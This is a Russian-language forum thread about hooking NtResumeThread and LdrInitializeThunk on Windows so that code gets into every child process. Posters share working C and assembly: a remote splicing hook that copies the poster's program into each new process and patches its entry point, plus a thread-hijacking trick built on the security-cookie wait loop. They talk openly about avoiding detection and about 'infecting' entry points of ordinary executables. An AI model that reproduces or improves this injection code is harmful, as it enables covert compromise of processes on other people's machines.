Проблемы с хукингом LdrInitializeThunk в NtResumeThread

Тема в разделе "WASM.WIN32", создана пользователем gribodemon, 25 ноя 2009.

  1. djmans

    djmans New Member

    Публикаций:
    0
    Регистрация:
    27 дек 2006
    Сообщения:
    312
    да уже лучше, но не изменит ситуации. Если память не подводит: погляди что будет в context.eax. кажется там должна быть ep оригинального модуля, а дальше думаю все понятно что нужно сделать.
     
  2. CrystalIC

    CrystalIC New Member

    Публикаций:
    0
    Регистрация:
    26 июл 2008
    Сообщения:
    500
    Первое действие в первичной апк LdrInitializeThunk() это инициализация куков. Если переменная SecurityCookieInitialized содержит не ноль, то поток начинает исполнять LdrpInitialize(), иначе куки не инициализированы и выполняется InitSecurityCookie(), после чего выполняется вызов загрузчика LdrpInitialize(). InitSecurityCookie() выполняет инкремент переменной SecurityCookieInitCount. Если она содержит ноль, то инициализация выполняется далее в __security_init_cookie(загружается переменная __security_init_cookie и пр.), после чего значение в переменной SecurityCookieInitialized устанавливается в TRUE и тред возвращается на загрузчик. Если счётчик отличен от нуля, то это ошибочная ситуация и тред входит в цикл ожидания инициализации(точнее освобождения ресурса через декремент счётчика захватов) куков другим тредом, выполняя циклы задержки(с запретом апк в NtDelayExecution) и проверку переменной SecurityCookieInitialized. Если инициализация будет выполнена другим тредом, то текущий поток возвратится на загрузчик. Тоесть тред ждёт декремент счётчика, что является простым механизмом синхронизации - инициализацию могут исполнять несколько потоков. Зацикливание потока это один из способов захвата кода, хотя не тру хек, ибо пожирает процессорное время и механизм медленный. Обнуляем переменную SecurityCookieInitialized, после этого все новые потоки(они начинаются с доставки первичной апк LdrInitializeThunk) будут крутиться в цикле, ожидая установку этой переменной в TRUE. Переодически следует получать системный слепок, либо перечислить регионы памяти в поисках TEB-сегнатур, или использовать любой другой механизм для получения списка потоков текущего процесса и выполнить захват контекста необходимого треда. После необходимых манипуляций с ним можно отпустить все потоки, выполнив перезагрузку SecurityCookieInitialized и SecurityCookieInitCount. Этим можно перенаправить обработку на диспетчер исключений, который будет вызван в контексте целевого потока. А далее выполнить трассировку до возврата на загрузчик, при этом можно будет получить пользовательский контекст из стека, хотя бактрейс выполнить лучше лучше.
     
  3. CrystalIC

    CrystalIC New Member

    Публикаций:
    0
    Регистрация:
    26 июл 2008
    Сообщения:
    500
    Мы собрали кодес, ищем среду следующим образом. Загружаем в селектор сегмента данных ноль, затем юзаем LdrInitializeThunk() напрямую. Первые два сепшена по доступу к сегменту данных вызываются при доступе к нужным переменным, это ловим и извлекаем адреса.
    Собственно кодес: http://paste.org.ru/?1or8vg
    Дамп для поиск переменных: http://paste.org.ru/?oojusa
    Тестовый экзе: http://paste.org.ru/?azy66r
    Создаёт тред, залочивает куки, ждёт 3 секунды потом разлочивает куки, тред выходит из цикла ожидания и бикает.
     
  4. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    Походу действительно работает.
    Сплайсинг точки входа. Работает на win2k & на win7.
    Покритикуйте кодес, пожалуйста:

    Хукнутая NtResumeThread
    Код (Text):
    1. BYTE bufNtResumeThread[64] = {0};
    2. BOOL WINAPI xNtResumeThread(
    3.   IN HANDLE               ThreadHandle,
    4.   OUT PULONG              SuspendCount OPTIONAL
    5. )
    6. {
    7.     __MARKER;
    8.  
    9.     THREAD_BASIC_INFORMATION ti;
    10.     NTSTATUS rt = NtQueryInformationThread(ThreadHandle, (THREADINFOCLASS)ThreadBasicInformation, (PVOID)&ti, (ULONG)sizeof(THREAD_BASIC_INFORMATION), NULL);
    11.     if (!NT_SUCCESS(rt))
    12.         goto L_ERR;
    13.     if (ti.ClientId.UniqueProcess != (HANDLE)GetCurrentProcessId()) {
    14.  
    15.         HANDLE h = (HANDLE)GOpenProcess(PROCESS_ALL_ACCESS, FALSE, ti.ClientId.UniqueProcess);
    16.         if (h) {
    17.             INT ImageBaseDelta = TransferProgramEx( h );
    18.             if (ImageBaseDelta < 0)
    19.                 goto L_ERR;
    20.  
    21.             DWORD dwEntryPoint = GetProcessEntryPointAddress(h, ThreadHandle);
    22.             SetRemoteSplicingHook(h, (LPVOID)dwEntryPoint, epInject, bufEmpty, ImageBaseDelta);
    23.  
    24.             GCloseHandle(h);
    25.         }
    26.     }
    27.  
    28. L_ERR:
    29.  
    30.     BOOL res;
    31.     LPVOID addr = (LPVOID)bufNtResumeThread;
    32.     __asm {
    33.         mov     eax, SuspendCount
    34.         push    eax
    35.         mov     eax, ThreadHandle
    36.         push    eax
    37.         call    addr
    38.         mov     res, eax
    39.     }
    40.  
    41.     if (!NT_SUCCESS(res))
    42.         return res;
    43.  
    44.     return res;
    45. }
    Вспомогательные функции SetRemoteSplicingHook() и GetProcessEntryPointAddress():

    SetRemoteSplicingHook():
    Код (Text):
    1. #include "hde32/hde32.h"
    2.  
    3.  
    4. // Short & relative commands:
    5. // --------------------------
    6. // JO SHORT ... JG SHORT
    7. // OPCODE = 0x70 ... 0x7F
    8. //
    9. // LOOPNE    : OPCODE = E0
    10. // LOOPE     : OPCODE = E1
    11. // LOOP      : OPCODE = E2
    12. // JECXZ     : OPCODE = E3
    13. // JMP SHORT : OPCODE = EB
    14. #define JO_SHORT  0x70
    15. #define JG_SHORT  0x7F
    16. #define LOOPNE    0xE0
    17. #define JECXZ     0xE3
    18. #define JMP_SHORT 0xEB
    19.  
    20. // Relative commands:
    21. // -----------------------
    22. // CALL      : OPCODE = E8
    23. // JMP       : OPCODE = E9
    24. #define CALL      0xE8
    25. #define JMP       0xE9
    26.  
    27. #define INC_EAX   0x40
    28. #define DEC_EAX   0x48
    29. #define RETN1     0xC2
    30. #define RETN2     0xC3
    31. #define INT3      0xCC
    32.  
    33. bool SetRemoteSplicingHook(HANDLE hProcess, LPVOID lpOrgFunc, LPVOID lpHookFunc, PBYTE pbOrgFuncBuf, INT ImageBaseDelta)
    34. {
    35.     //// Проверка указателей
    36.     //if (IsBadWritePtr(pbOrgFuncBuf, 64) || IsBadReadPtr(lpOrgFunc, 5))
    37.     //  return false;
    38.  
    39.     lpHookFunc = (PBYTE)lpHookFunc + ImageBaseDelta;
    40.     pbOrgFuncBuf += ImageBaseDelta;
    41.  
    42.     // Читаем 0x1000 байт от начала функции, которую собираемся перехвачивать
    43.     //
    44.     BYTE Buffer[0x1000];
    45.     ULONG NumberOfBytesToRead = sizeof(Buffer);
    46.     ULONG NumberOfBytesReaded;
    47.     NTSTATUS stat = (NTSTATUS)GNtReadVirtualMemory(hProcess, lpOrgFunc, Buffer, NumberOfBytesToRead, &NumberOfBytesReaded);
    48.     if ( NT_ERROR(stat) || (NumberOfBytesToRead != NumberOfBytesReaded) )
    49.         return false;
    50.        
    51.     // Перехвачена ли функция?
    52.     //
    53.     // Чтобы это выяснить, мы должны проследовать по JMP'у в начале
    54.     //  этой функции и посмотреть - есть ли там "инструкции-маркеры"
    55.     hde32s hs;
    56.     hde32_disasm( (LPVOID)Buffer, &hs );
    57.     if ( hs.flags & F_ERROR )
    58.         return false;
    59.     if (hs.opcode == JMP) {
    60.        
    61.         LPVOID addr = (LPVOID)( (DWORD)Buffer + hs.len + hs.imm.imm32 );
    62.  
    63.         NumberOfBytesToRead = sizeof(Buffer);
    64.         stat = (NTSTATUS)GNtReadVirtualMemory(hProcess, addr, Buffer, NumberOfBytesToRead, &NumberOfBytesReaded);
    65.         if ( NT_ERROR(stat) || (NumberOfBytesToRead != NumberOfBytesReaded) )
    66.             return false;
    67.  
    68.         addr = (LPVOID)( Buffer );
    69.        
    70.         for (DWORD i = 0; i < 0x1000; ) {
    71.             hde32_disasm((LPVOID) ((DWORD)addr + i), &hs); // need to fix
    72.  
    73.             if ( hs.opcode == RETN1
    74.               || hs.opcode == RETN2
    75.               || hs.opcode == INT3 )
    76.                 break;
    77.  
    78.             if ( hs.flags & F_ERROR )
    79.                 return false;
    80.             i += hs.len;
    81.             if (hs.opcode == INC_EAX) {
    82.                 hde32_disasm((LPVOID) ((DWORD)addr + i), &hs);
    83.                 if ( hs.flags & F_ERROR )
    84.                     return false;
    85.                 i += hs.len;
    86.                 if (hs.opcode == DEC_EAX)
    87.                     return false;
    88.             }
    89.         }
    90.     }
    91.  
    92.     // Копируем начало функции по адресу lpOrgFunc (Buffer)
    93.     // Для определния дли инструкций используем HDE32
    94.     //
    95.     BYTE emptyBuf[64] = {0};
    96.     DWORD szBuf = 64; // 64 байта - максимальный размер буфера
    97.     DWORD NumberOfBytesWritten;
    98.     stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, pbOrgFuncBuf, emptyBuf, szBuf, &NumberOfBytesWritten);
    99.     if (NT_ERROR(stat) || (szBuf != NumberOfBytesWritten))
    100.         return false;
    101.  
    102.     DWORD i;
    103.     for (i = 0; i < szBuf; ) { // 5 bytes min (!)
    104.         hde32_disasm((LPVOID) ((DWORD)Buffer + i), &hs);
    105.         if ( hs.flags & F_ERROR )
    106.             break;
    107.         i += hs.len;
    108.  
    109.         // Если встерим Short-Relative команду - возвращаем FALSE,
    110.         //  т.к. Такой stuff unsupported yet
    111.         if ( (hs.opcode >= JO_SHORT && hs.opcode <= JG_SHORT)
    112.           || (hs.opcode >= LOOPNE   && hs.opcode <= JECXZ)
    113.           || hs.opcode == JMP_SHORT )
    114.               break;
    115.  
    116.         if (i >= 5)
    117.             break;
    118.     }
    119.     if ( (i < 5) || (i >= szBuf) )
    120.         return false;
    121.     // ok
    122.     DWORD szBufCode = i;
    123.  
    124.     // Копируем начало функции по адресу lpOrgFunc (Buffer)
    125.     //CopyMemory((PBYTE)pbOrgFuncBuf, Buffer, szBufCode);
    126.     stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, pbOrgFuncBuf, Buffer, szBufCode, &NumberOfBytesWritten);
    127.     if (NT_ERROR(stat) || (szBufCode != NumberOfBytesWritten))
    128.         return false;
    129.  
    130.     // Пробегаемся по коду и смотрим, есть ли в скопированном коде инструкции JMP или CALL
    131.     // Если есть - правим аргументы
    132.     ZeroMemory(Buffer, 0x1000);
    133.     NumberOfBytesToRead = szBufCode;
    134.     stat = (NTSTATUS)GNtReadVirtualMemory(hProcess, pbOrgFuncBuf, Buffer, NumberOfBytesToRead, &NumberOfBytesReaded);
    135.     if ( NT_ERROR(stat) || (NumberOfBytesToRead != NumberOfBytesReaded) )
    136.         return false;
    137.  
    138.     for (i = 0; i < szBufCode; i += hs.len) {
    139.         hde32_disasm((LPVOID) ((DWORD)Buffer + i), &hs);
    140.         if ( hs.flags & F_ERROR )
    141.             break;
    142.  
    143.         if (hs.opcode == JMP || hs.opcode == CALL) {
    144.             DWORD arg = hs.imm.imm32;
    145.             DWORD offset = (DWORD) ( (DWORD)lpOrgFunc - (DWORD)pbOrgFuncBuf );
    146.             DWORD dwp = arg + offset;
    147.             stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, (DWORD)pbOrgFuncBuf + (i + 1), &dwp, sizeof(DWORD), &NumberOfBytesWritten);
    148.             if (NT_ERROR(stat) || (sizeof(DWORD) != NumberOfBytesWritten))
    149.                 return false;
    150.         }
    151.     }
    152.  
    153.     // В конец добавляем JMP на адрес функции lpOrgFunc, с учётом смещения в szBufCode байт
    154.     DWORD offset = (DWORD) ( (DWORD)lpOrgFunc - (DWORD)pbOrgFuncBuf ) - ( 1 + sizeof(DWORD) );
    155.  
    156.     BYTE bufOrgFuncBuf[5] = {0};
    157.     bufOrgFuncBuf[0] = JMP;
    158.     *(PDWORD)((DWORD)bufOrgFuncBuf + 1) = offset;
    159.    
    160.     DWORD pbOrgFuncBufP2 = (DWORD)pbOrgFuncBuf + szBufCode;
    161.     stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, pbOrgFuncBufP2, bufOrgFuncBuf, sizeof(bufOrgFuncBuf), &NumberOfBytesWritten);
    162.     if (NT_ERROR(stat) || ((DWORD)sizeof(bufOrgFuncBuf) != NumberOfBytesWritten))
    163.         return false;
    164.        
    165.     // Разрешаем запись в страницу с кодом
    166.     DWORD old = 0;
    167.     LPVOID BaseAddress = lpOrgFunc;
    168.     DWORD NumberOfBytesToProtect = szBufCode;
    169.  
    170.     stat = (NTSTATUS)GNtProtectVirtualMemory(hProcess, &BaseAddress, &NumberOfBytesToProtect, PAGE_EXECUTE_READWRITE, &old);
    171.     if (!NT_SUCCESS(stat))
    172.         return false; // NumberOfBytesToProtect : Pointer to size of region to protect. On output will be round to page size (4KB).
    173.  
    174.     // Ставим JMP в начало оригинальной функции на функцию-перехватчик
    175.     offset = ((DWORD) lpHookFunc - (DWORD) lpOrgFunc) - (1 + sizeof(DWORD));
    176.     BYTE bufOrgFuncRepl[5] = {0};
    177.     bufOrgFuncRepl[0] = JMP;
    178.     *(PDWORD)((DWORD)bufOrgFuncRepl + 1) = offset;
    179.     stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, lpOrgFunc, bufOrgFuncRepl, sizeof(bufOrgFuncRepl), &NumberOfBytesWritten);
    180.     if ( !NT_SUCCESS(stat) || (NumberOfBytesWritten != (DWORD)sizeof(bufOrgFuncRepl)) )
    181.         return false;
    182.  
    183.     // Ништяк
    184.     return true;
    185. }
    GetProcessEntryPointAddress():
    Код (Text):
    1. //
    2. // PE file format structures
    3. //
    4. typedef struct _coff_header
    5. {
    6.     unsigned short machine;
    7.     unsigned short sections;
    8.     unsigned int timestamp;
    9.     unsigned int symboltable;
    10.     unsigned int symbols;
    11.     unsigned short size_of_opt_header;
    12.     unsigned short characteristics;
    13. } coff_header;
    14.  
    15. typedef struct _optional_header
    16. {
    17.     unsigned short magic;
    18.     char linker_version_major;
    19.     char linker_version_minor;
    20.     unsigned int code_size;
    21.     unsigned int idata_size;
    22.     unsigned int udata_size;
    23.     unsigned int entry_point;
    24.     unsigned int code_base;
    25. } optional_header;
    26.  
    27. #pragma pack( pop )
    28.  
    29.  
    30. // TEB
    31.  
    32.  
    33. #define GDI_BATCH_BUFFER_SIZE 310
    34.  
    35. typedef struct _GDI_TEB_BATCH {
    36.     ULONG Offset;
    37.     ULONG HDC;
    38.     ULONG Buffer[GDI_BATCH_BUFFER_SIZE];
    39. } GDI_TEB_BATCH,*PGDI_TEB_BATCH;
    40.  
    41. #define STATIC_UNICODE_BUFFER_LENGTH 261
    42. #define WIN32_CLIENT_INFO_LENGTH 31
    43. #define WIN32_CLIENT_INFO_SPIN_COUNT 1
    44.  
    45. typedef struct _XTEB {
    46.     NT_TIB NtTib;
    47.     PVOID  EnvironmentPointer;
    48.     CLIENT_ID ClientId;
    49.     PVOID ActiveRpcHandle;
    50.     PVOID ThreadLocalStoragePointer;
    51.     PPEB ProcessEnvironmentBlock;
    52.     ULONG LastErrorValue;
    53.     ULONG CountOfOwnedCriticalSections;
    54.     PVOID CsrClientThread;
    55.     PVOID Win32ThreadInfo;          // PtiCurrent
    56.     ULONG Win32ClientInfo[WIN32_CLIENT_INFO_LENGTH];    // User32 Client Info
    57.     PVOID WOW32Reserved;           // used by WOW
    58.     LCID CurrentLocale;
    59.     ULONG FpSoftwareStatusRegister;
    60.     PVOID SystemReserved1[54];      // Used by FP emulator
    61.     PVOID Spare1;                   // unused
    62.     NTSTATUS ExceptionCode;         // for RaiseUserException
    63.     UCHAR SpareBytes1[40];
    64.     PVOID SystemReserved2[10];                      // Used by user/console for temp obja
    65.     GDI_TEB_BATCH GdiTebBatch;      // Gdi batching
    66.     ULONG gdiRgn;
    67.     ULONG gdiPen;
    68.     ULONG gdiBrush;
    69.     CLIENT_ID RealClientId;
    70.     HANDLE GdiCachedProcessHandle;
    71.     ULONG GdiClientPID;
    72.     ULONG GdiClientTID;
    73.     PVOID GdiThreadLocalInfo;
    74.     PVOID UserReserved[5];          // unused
    75.     PVOID glDispatchTable[280];     // OpenGL
    76.     ULONG glReserved1[26];          // OpenGL
    77.     PVOID glReserved2;              // OpenGL
    78.     PVOID glSectionInfo;            // OpenGL
    79.     PVOID glSection;                // OpenGL
    80.     PVOID glTable;                  // OpenGL
    81.     PVOID glCurrentRC;              // OpenGL
    82.     PVOID glContext;                // OpenGL
    83.     ULONG LastStatusValue;
    84.     UNICODE_STRING StaticUnicodeString;
    85.     WCHAR StaticUnicodeBuffer[STATIC_UNICODE_BUFFER_LENGTH];
    86.     PVOID DeallocationStack;
    87.     PVOID TlsSlots[TLS_MINIMUM_AVAILABLE];
    88.     LIST_ENTRY TlsLinks;
    89.     PVOID Vdm;
    90.     PVOID ReservedForNtRpc;
    91.     PVOID DbgSsReserved[2];
    92.     ULONG HardErrorsAreDisabled;
    93.     PVOID Instrumentation[16];
    94.     PVOID WinSockData;              // WinSock
    95.     ULONG GdiBatchCount;
    96.     ULONG Spare2;
    97.     ULONG Spare3;
    98.     ULONG Spare4;
    99.     PVOID ReservedForOle;
    100.     ULONG WaitingOnLoaderLock;
    101. } XTEB;
    102.  
    103. typedef struct _PEB_FREE_BLOCK {
    104.     struct _PEB_FREE_BLOCK *Next;
    105.     ULONG Size;
    106. } PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;
    107.  
    108. #define GDI_HANDLE_BUFFER_SIZE      34
    109.  
    110. #define TLS_MINIMUM_AVAILABLE 64    // winnt
    111.  
    112. typedef struct _PEB_LDR_DATA {
    113.     ULONG          Length;
    114.     BOOLEAN        Initialized;
    115.     HANDLE         SsHandle;
    116.     LIST_ENTRY     LoadOrder;
    117.     LIST_ENTRY     MemoryOrder;
    118.     LIST_ENTRY     InitializationOrder;
    119. } PEB_LDR_DATA, *PPEB_LDR_DATA;
    120.  
    121. typedef struct _XPEB {
    122.     BOOLEAN InheritedAddressSpace;      // These four fields cannot change unless the
    123.     BOOLEAN ReadImageFileExecOptions;   //
    124.     BOOLEAN BeingDebugged;              //
    125.     BOOLEAN SpareBool;                  //
    126.     HANDLE Mutant;                      // INITIAL_PEB structure is also updated.
    127.  
    128.     PVOID ImageBaseAddress;
    129.     PPEB_LDR_DATA Ldr;
    130.     struct _RTL_USER_PROCESS_PARAMETERS *ProcessParameters;
    131.     PVOID SubSystemData;
    132.     PVOID ProcessHeap;
    133.     PVOID FastPebLock;
    134.     PVOID FastPebLockRoutine;
    135.     PVOID FastPebUnlockRoutine;
    136.     ULONG EnvironmentUpdateCount;
    137.     PVOID KernelCallbackTable;
    138.     HANDLE EventLogSection;
    139.     PVOID EventLog;
    140.     PPEB_FREE_BLOCK FreeList;
    141.     ULONG TlsExpansionCounter;
    142.     PVOID TlsBitmap;
    143.     ULONG TlsBitmapBits[2];         // relates to TLS_MINIMUM_AVAILABLE
    144.     PVOID ReadOnlySharedMemoryBase;
    145.     PVOID ReadOnlySharedMemoryHeap;
    146.     PVOID *ReadOnlyStaticServerData;
    147.     PVOID AnsiCodePageData;
    148.     PVOID OemCodePageData;
    149.     PVOID UnicodeCaseTableData;
    150.  
    151.     // Useful information for LdrpInitialize
    152.     ULONG NumberOfProcessors;
    153.     ULONG NtGlobalFlag;
    154.  
    155.     // Passed up from MmCreatePeb from Session Manager registry key
    156.  
    157.     LARGE_INTEGER CriticalSectionTimeout;
    158.     ULONG HeapSegmentReserve;
    159.     ULONG HeapSegmentCommit;
    160.     ULONG HeapDeCommitTotalFreeThreshold;
    161.     ULONG HeapDeCommitFreeBlockThreshold;
    162.  
    163.     // Where heap manager keeps track of all heaps created for a process
    164.     // Fields initialized by MmCreatePeb.  ProcessHeaps is initialized
    165.     // to point to the first free byte after the PEB and MaximumNumberOfHeaps
    166.     // is computed from the page size used to hold the PEB, less the fixed
    167.     // size of this data structure.
    168.  
    169.     ULONG NumberOfHeaps;
    170.     ULONG MaximumNumberOfHeaps;
    171.     PVOID *ProcessHeaps;
    172.  
    173.     //
    174.     //
    175.     PVOID GdiSharedHandleTable;
    176.     PVOID ProcessStarterHelper;
    177.     PVOID GdiDCAttributeList;
    178.     PVOID LoaderLock;
    179.  
    180.     // Following fields filled in by MmCreatePeb from system values and/or
    181.     // image header.
    182.  
    183.     ULONG OSMajorVersion;
    184.     ULONG OSMinorVersion;
    185.     ULONG OSBuildNumber;
    186.     ULONG OSPlatformId;
    187.     ULONG ImageSubsystem;
    188.     ULONG ImageSubsystemMajorVersion;
    189.     ULONG ImageSubsystemMinorVersion;
    190.     ULONG ImageProcessAffinityMask;
    191.     ULONG GdiHandleBuffer[GDI_HANDLE_BUFFER_SIZE];
    192. } XPEB, *PXPEB;
    193.  
    194. //
    195. // Gets the address of the entry point routine given a
    196. // handle to a process and its primary thread.
    197. //
    198. DWORD GetProcessEntryPointAddress( HANDLE hProcess, HANDLE hThread )
    199. {
    200.     CONTEXT             context;
    201.     LDT_ENTRY           entry;
    202.     XTEB                    teb;
    203.     XPEB                    peb;
    204.     DWORD               read;
    205.     DWORD               dwFSBase;
    206.     DWORD               dwImageBase, dwOffset;
    207.     DWORD               dwOptHeaderOffset;
    208.     optional_header     opt;
    209.  
    210.     //
    211.     // get the current thread context
    212.     //
    213.     context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
    214.     GetThreadContext( hThread, &context );
    215.  
    216.     //
    217.     // use the segment register value to get a pointer to
    218.     // the TEB
    219.     //
    220.     GetThreadSelectorEntry( hThread, context.SegFs, &entry );
    221.     dwFSBase = ( entry.HighWord.Bits.BaseHi << 24 ) |
    222.                      ( entry.HighWord.Bits.BaseMid << 16 ) |
    223.                      ( entry.BaseLow );
    224.  
    225.     //
    226.     // read the teb
    227.     //
    228.     ReadProcessMemory( hProcess, (LPCVOID)dwFSBase, &teb, sizeof( XTEB ), &read );
    229.  
    230.     //
    231.     // read the peb from the location pointed at by the teb
    232.     //
    233.     ReadProcessMemory( hProcess, (LPCVOID)teb.ProcessEnvironmentBlock, &peb, sizeof( XPEB ), &read );
    234.  
    235.     //
    236.     // figure out where the entry point is located;
    237.     //
    238.     dwImageBase = (DWORD)peb.ImageBaseAddress;
    239.     ReadProcessMemory( hProcess, (LPCVOID)( dwImageBase + 0x3c ), &dwOffset, sizeof( DWORD ), &read );
    240.  
    241.     dwOptHeaderOffset = ( dwImageBase + dwOffset + 4 + sizeof( coff_header ) );
    242.     ReadProcessMemory( hProcess, (LPCVOID)dwOptHeaderOffset, &opt, sizeof( optional_header ), &read );
    243.  
    244.     return ( dwImageBase + opt.entry_point );
    245. }
    Почему-то на некоторых програх, неверно работает код определения точки входа (код этой функции я откуда-то с***дил). В результате, сплайсинг происходит чуть ниже самой точки входа. (Кстати. А если сплайсить код не в самом начале функции, а спустя неск. инструкций? В этом случае нужно будет восстанавливать состояния регистров после выполнения кода сплайса? Я правильно мыслю?)

    Т.е. вопрос: есть ли другой, более стабильный метод определения точки входа, зная Handle процесса и Handle первичного потока?
     
  5. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    CrystalIC
    Respect.
    Сразу хочу извиниться за потенциальные глупые вопросы (просто не совсем представляю себе полную картину).
    Но всё-таки, ... Т.е. тут переписывается код LdrInitializeThunk так, чтобы загонять все новые потоки в уже реализованный механизм состояния ожидания... И делается это для чего? Для беспалевности (чтобы не хукать NtResumeThread & NtCreateThread) в первую очередь? Я правильно понимаю?
     
  6. CrystalIC

    CrystalIC New Member

    Публикаций:
    0
    Регистрация:
    26 июл 2008
    Сообщения:
    500
    Скозале веди, модификация кода это шлак и хуета. Ты дорогой возьми в рку нажми анхук всё и посмотри что будет с твоим кодом, модулем(скорее всего код в модуле) etc. Запись в сегмент кода тривиальна, там ничего нет, это пустота, которую мы в софте юзать не можем(в нашем софте..). Я сюда зашёл потомучто эта тема всплыла при поиске похожей инфы, но не для того чтоб какуюто херню обсуждать. По теме:
    Есть, это ProcessSectionImageInformation(0x25), возвращает в TransferAddress значение IMAGE_OPTIONAL_HEADER.AddressOfEntryPoint из образа.
    -
    Дополнение к коду:
    Код (Text):
    1. KiUserApcDispatcher:
    2.     lea edi,dword ptr ss:[esp+10]
    3.     pop eax
    4.     call eax    ; -> LdrInitializeThunk()
    5.     push 1
    6.     push edi
    7.     call ntdll.ZwContinue
    8.  
    9. ; Первичная апк, ставит в очередь потока ядро. Отсюда начинает исполняться тред.
    10. ;
    11. LdrInitializeThunk:
    12.     lea eax,dword ptr ss:[esp+10]
    13.     mov dword ptr ss:[esp+4],eax
    14.     xor ebp,ebp
    15.     jmp ntdll._LdrpInitialize@12
    16.  
    17. _LdrpInitialize@12:
    18.     mov edi,edi
    19.     push ebp
    20.     mov ebp,esp
    21.     cmp byte ptr ds:[_SecurityCookieInitialized],0  ; Для захвата потока обнулить.
    22.     je ntdll.7C92217D
    23. 7C91AAB9:
    24.     pop ebp
    25.     jmp ntdll.__LdrpInitialize@12
    26.  
    27. 7C92217D:
    28.     call ntdll._InitSecurityCookie@0
    29. 7C922182:
    30.     jmp ntdll.7C91AAB9
    31.  
    32. InitSecurityCookie@0:
    33.     mov edi,edi
    34.     push ebp
    35.     mov ebp,esp
    36.     push ecx
    37.     push ecx
    38.     xor ecx,ecx
    39.     mov eax,offset ntdll._SecurityCookieInitCount
    40.     inc ecx
    41.     lock xadd dword ptr ds:[eax],ecx
    42.     inc ecx
    43.     cmp ecx,1
    44.     jnz ntdll.7C93F359  ; Всегда > 1(декремент не выполняется).
    45.     call ntdll.___security_init_cookie
    46.     mov byte ptr ds:[_SecurityCookieInitialized],1
    47.     leave
    48.     ret
    49.  
    50. 7C93F359:
    51.     or dword ptr ss:[ebp-4],FFFFFFFF
    52.     mov dword ptr ss:[ebp-8],FFFB6C20   ; 30 milliseconds.
    53.     jmp short ntdll.7C93F371
    54. ; Здесь иной поток может остановить текущий тред, получить
    55. ; из контекста значение регистра Ebp(бактрейс), это указат
    56. ; ель на стековый фрейм, который содержит адрес возврата и
    57. ; з InitSecurityCookie(), это адрес 0x7C922182. Заменим эт
    58. ; от адрес в стековом фрейме на свой, тогда при возврате у
    59. ; правление получит наш обработчик перед тем, как будет вы
    60. ; полнен переход на LdrpInitialize(). Иначе можно использо
    61. ; вать захват Eip в контексте, либо механизм исключений. В
    62. ; зведём в контексте текущего треда TF(прежде остановив ег
    63. ; о). На следующей инструкции будет сгенерирован пошаговый
    64. ; останов, VEH получит управление в контексте текущего пот
    65. ; ока. Захват можно выполнить посредством переодической до
    66. ; ставки апк, отличной от первичной, например по таймеру,
    67. ; либо выполняя цикл опроса с задержкой. Определяем создан
    68. ; ие потока по инкременту переменной SecurityCookieInitCou
    69. ; nt. При этом делаем слепок и определяем вновь созданный
    70. ; поток в нём. Далее открываем его и выполняем необходимые
    71. ; манипуляции.
    72. 7C93F366:
    73.     lea eax,dword ptr ss:[ebp-8]
    74.     push eax
    75.     push 0
    76.     call ntdll.ZwDelayExecution
    77. 7C93F371:
    78.     cmp byte ptr ds:[_SecurityCookieInitialized],0  ; Цикл ожидания инициализации.
    79.     je short ntdll.7C93F366
    80.     leave
    81.     ret
    Ждём следующим образом:
    Код (Text):
    1.     mov esi,CookieEnvironment._SecurityCookieInitialized
    2.     mov edi,CookieEnvironment._SecurityCookieInitCount
    3.     mov byte ptr [esi],al   ; Lock cookie.
    4.     mov ebx,dword ptr [edi] ; SecurityCookieInitCount
    5.     ; ...
    6. ; Цикл ожидания запуска нового потока.
    7. @@:
    8.     invoke Sleep, 30
    9.     cmp dword ptr [edi],ebx
    10.     je @b
    > Я правильно мыслю?
    Абсолютно в ином направлении, забудьте то, о чём вы думаете.
     
  7. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    Я вызывал GetThreadContext в хукнутой NtResumeThread. Там все регистры по нолям стоят. Ещё какие-то способы, может, есть?
     
  8. CrystalIC

    CrystalIC New Member

    Публикаций:
    0
    Регистрация:
    26 июл 2008
    Сообщения:
    500
    Их немерено, но все требуют доступ к ядерной памяти.
     
  9. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    Ну, я, конечно понимаю, что мне нужно драйвер писать и сплоеты для него. Но, просто, хочу разобраться с usermode'ом сначала. =)
     
  10. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    CrystalIC
    А из какой либы эта функция-то вообще?
     
  11. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
  12. CrystalIC

    CrystalIC New Member

    Публикаций:
    0
    Регистрация:
    26 июл 2008
    Сообщения:
    500
    Код (Text):
    1. Local SectionInformation:SECTION_IMAGE_INFORMATION
    2.     invoke NtQueryInformationProcess, NtCurrentProcess, ProcessImageInformation, addr SectionInformation, sizeof(SECTION_IMAGE_INFORMATION), NULL
    3.     .if !Eax
    4.     push SectionInformation.TransferAddress
    5.     Call @f
    6. $Msg    CHAR "AddressOfEntryPoint: %p",0
    7. @@:
    8.     Call DbgPrint
    9.     .endif
    Тока для текущего процесса, 0x25/0x30 в XP.
     
  13. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    OMG! Подводные камни!

    CrystalIC
    Угумс, спасибо.

    Получаю EP как ты и говорил, respect:
    Код (Text):
    1. #define ProcessSectionImageInformation 0x25
    2.  
    3.             // Getting entry point
    4.             SECTION_IMAGE_INFORMATION sii;
    5.             NTSTATUS stat = NtQueryInformationProcess(h,
    6.                                                 (PROCESSINFOCLASS)ProcessSectionImageInformation,
    7.                                                 &sii,
    8.                                                 sizeof SECTION_IMAGE_INFORMATION,
    9.                                                 NULL);
    10.             if (NT_ERROR(stat))
    11.                 goto L_ERR;
    12.             DWORD dwEntryPoint = (DWORD)sii.EntryPoint;
    Сейчас позапускал exe'шников штук 20 - из них вылетел (после инфектинга точки входа) только UltraISO.exe, который был запакован:

    Вот такая тут точка входа: o0

    Entry point : 0xba4001
